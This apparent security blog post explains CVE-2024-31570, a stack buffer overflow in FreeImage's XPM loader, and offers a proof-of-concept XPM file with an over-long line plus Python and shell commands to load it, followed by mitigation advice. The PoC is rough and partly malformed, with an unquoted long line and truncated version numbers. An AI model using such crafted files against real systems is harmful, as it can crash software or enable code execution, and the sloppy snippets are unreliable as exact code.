CVE-2024-31570 - Breaking Down the Buffer Overflow in FreeImage’s XPM Loader (With Exploit Snippet)

CVE-2024-31570 is a critical stack-based buffer overflow vulnerability that affects the libfreeimage library, a very popular image processing toolkit used in many open-source and commercial projects. This vulnerability exists in the XPM image plugin, specifically within the Load function in PluginXPM.cpp. Versions impacted range from FreeImage 3.4. up to 3.18., including many widely deployed software stacks.

This post will break down why this vulnerability matters, show you where in the code things go wrong, and how it might be exploited.

Impact: Likely Remote Code Execution (RCE) if successfully exploited

- CVE: CVE-2024-31570

How the Vulnerability Works

FreeImage can load many picture formats, including XPM (X PixMap). The XPM loader reads properties and pixel data from files. In vulnerable versions, the code to parse certain parts of an XPM file does not check if the data fits into a fixed-sized stack buffer before copying.

The Vulnerable Snippet

Here’s a simplified version, adapted from the public FreeImage source:

char buf[256];
// ...
fgets(buf, 256, handle);            // Reads a line from file
sscanf(buf, "%s %s %s", key, value, color); // Copies parts into smaller variables, possibly overflowing

Let's say an attacker sends a crafted XPM file containing a very long line (more than 256 bytes). fgets() will read up to 256 bytes, but downstream processing (using sscanf) may miss buffer boundaries, allowing carefully placed data to spill out of the stack buffer—clobbering return addresses or adjacent stack variables. This classic buffer overflow enables attackers to redirect code execution, perhaps to run a shell or inject malware.

Proof of Concept Exploit

Below is a simple XPM file that triggers the problem. This PoC is for educational purposes only: do not use it to attack real systems.

Malicious.xpm

/* XPM */
static char *poc[] = {
"100 100 1 1", // width, height, ncolors, chars_per_pixel
"A c #000000",
Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, // a long string
/* ... [repeat long lines or create extra-long color definitions] ... */
};

Save the above as malicious.xpm and pass it to any FreeImage-based program that loads XPM files.

In Python

import FreeImage
try:
    FreeImage.Open('malicious.xpm')
except Exception as e:
    print("Crash or exception likely due to buffer overflow!")

On Linux (with a vulnerable viewer)

freeimage-viewer malicious.xpm

Result: Upon processing, a stack buffer overflow occurs, potentially crashing the program or enabling execution of injected code (depending on the system and compiling safeguards like stack canaries or ASLR).

Why This Matters

Buffer overflows are a serious class of bugs. When done on the stack, they often let attackers hijack the control flow (especially on systems without modern protections enabled). Since FreeImage is used in web apps, desktop software, and some server environments, a single malicious XPM file might allow RCE or even a full system takeover.

Anyone using FreeImage 3.4. to 3.18. should consider all XPM input as untrusted and apply patches or mitigations right away.

Possibly limit the maximum size of XPM files or lines in user-uploaded images

Developers are urged to review the main GitHub issue for any available patches or mitigations.

References

- CVE-2024-31570 on MITRE
- FreeImage GitHub Issue #424
- FreeImage Source Code

Conclusion

CVE-2024-31570 is a textbook example of why robust boundary-checking is essential when working with user-supplied files. If you use FreeImage or software that relies on it, limit your exposure by patching, disabling XPM support, or switching to a safer build.

Stay safe. Always treat image files from strangers with suspicion—and keep your image libraries up-to-date!


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Timeline

Published on: 09/19/2024 17:15:12 UTC
Last modified on: 09/25/2024 14:57:47 UTC